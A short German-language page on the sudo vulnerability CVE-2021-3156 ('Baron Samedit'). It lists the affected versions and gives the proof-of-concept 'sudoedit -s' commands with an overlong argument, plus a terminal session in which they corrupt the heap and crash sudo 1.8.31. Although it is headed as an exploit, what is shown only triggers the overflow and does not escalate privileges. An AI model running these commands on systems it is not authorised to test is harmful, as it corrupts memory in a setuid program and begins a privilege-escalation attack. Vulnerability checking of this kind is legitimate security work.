
Exploit für CVE-2021-3156 (Baron Samedit), ein heap-basierter Pufferüberlauf in sudo Versionen 1.8.2-1.8.31p2 und 1.9.0-1.9.5p1, der eine Privilegieneskalation zu root über sudoedit -s mit einem manipulierten Backslash-Argument ermöglicht.
Die Baron-Samedit-Schwachstelle (CVE-2021-3156) betrifft die Legacy-Versionen von sudo 1.8.2 bis 1.8.31p2 und die stabilen Versionen 1.9.0 bis 1.9.5p1. Dieser Heap-basierte Pufferüberlauffehler wurde im Juli 2011 mit Commit 8255ed69 eingeführt und blieb fast ein Jahrzehnt unentdeckt.
Sudo vor 1.9.5p2 enthält einen Off-by-One-Fehler, der zu einem Heap-basierten Pufferüberlauf führen kann, was eine Privilegienausweitung auf Root über "sudoedit -s" und ein Kommandozeilenargument ermöglicht, das mit einem einzelnen Backslash endet.
sudoedit -s '\' $(python3 -c 'print("A"*1000)')
malloc(): invalid size (unsorted)
Aborted
sudoedit -s '\' `perl -e 'print "A" x 65536'`
malloc(): corrupted top size
Aborted (core dumped)
shuhaib@somebox:~$ sudo --version
Sudo version 1.8.31
Sudoers policy plugin version 1.8.31
Sudoers file grammar version 46
Sudoers I/O plugin version 1.8.31
shuhaib@somebox:~$ sudoedit -s '\' $(python3 -c 'print("A"*1000)')
malloc(): invalid size (unsorted)
Aborted (core dumped)
shuhaib@somebox:~$ sudoedit -s '\' `perl -e 'print "A" x 65536'`
malloc(): corrupted top size
Aborted (core dumped)